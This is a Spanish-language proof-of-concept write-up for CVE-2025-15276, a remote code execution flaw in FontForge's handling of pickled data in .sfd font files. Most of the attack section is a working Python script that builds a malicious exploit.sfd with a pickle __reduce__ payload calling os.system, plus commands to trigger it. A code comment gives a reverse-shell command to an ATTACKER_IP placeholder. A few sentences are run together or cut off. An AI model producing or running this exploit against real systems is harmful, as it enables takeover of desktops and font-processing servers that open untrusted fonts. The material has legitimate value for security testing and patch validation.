
Prueba de concepto para CVE-2025-15276 - FontForge SFD File Parsing Deserialization of Untrusted Data Remote Code Execution Vulnerability
Esta Prueba de Concepto (PoC) es únicamente para fines educativos y auditoría de seguridad. El autor no se responsabiliza por el mal uso de esta información. El acceso no autorizado a sistemas informáticos es ilegal. Siempre obtenga permiso explícito antes de realizar pruebas de seguridad en cualquier sistema.
CVE-2025-15276 es una vulnerabilidad crítica de Ejecución Remota de Código (RCE) en FontForge (versiones hasta e incluyendo 20230101). La falla existe en el análisis del formato Spline Font Database (.sfd), específicamente dentro del campo PickledData.
El formato SFD de FontForge permite el almacenamiento de diccionarios persistentes de Python utilizando la palabra clave PickledData. Cuando se carga una fuente, FontForge extrae esta cadena y la pasa directamente a la función de Python (o una rutina de deserialización interna equivalente) sin ninguna sanitización ni sandboxing.
pickle.loads()Debido a que el módulo pickle de Python es inherentemente inseguro y permite la reconstrucción arbitraria de objetos, un atacante puede usar el método __reduce__ para ejecutar comandos arbitrarios del sistema con los privilegios del usuario que ejecuta FontForge.
20230101 o anterior.Utilice el siguiente script de Python (gen_poc.py) para crear un archivo exploit.sfd. Esta PoC está configurada para crear un archivo en /tmp/pwned como un indicador seguro de compromiso (IoC).
import pickle
import os
# For a reverse shell: "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'"
cmd = "bash -c 'touch /tmp/pwned'"
class Exploit(object):
def __reduce__(self):
return (os.system, (cmd,))
# Serialize the object using Protocol 0 (ASCII) for SFD compatibility
payload = pickle.dumps(Exploit(), protocol=0).decode('ascii')
# Escape backslashes and quotes as required by the SFD format
escaped_payload = payload.replace('\\', '\\\\').replace('"', '\\"')
# Construct the minimal SFD structure
sfd_content = f"""SplineFontDB: 3.2
FontName: ExploitFont
FullName: Exploit Font
FamilyName: Exploit
Weight: Regular
PickledData: "{escaped_payload}"
EndSplineFont
"""
with open("exploit.sfd", "w") as f:
f.write(sfd_content)
print("[+] exploit.sfd generated successfully.")
La vulnerabilidad se puede desencadenar simplemente abriendo el archivo con FontForge.
Opción A: Carga estándar GUI/CLI
fontforge exploit.sfd
Opción B: Interfaz de Scripting de Python (Común en canalizaciones automatizadas)
fontforge -c 'import fontforge; fontforge.open("exploit.sfd")'
Verifique si se ejecutó el comando:
ls -l /tmp/pwned
Esta vulnerabilidad es particularmente peligrosa en canalizaciones de procesamiento de fuentes (por ejemplo, convertidores de fuentes basados en web o scripts de validación automatizados) que utilizan FontForge en el backend para procesar archivos subidos por el usuario. Si el script del backend llama a fontforge.open() en un archivo .sfd no confiable, el atacante obtiene el control total del servidor de procesamiento.
.sfd de fuentes no confiables.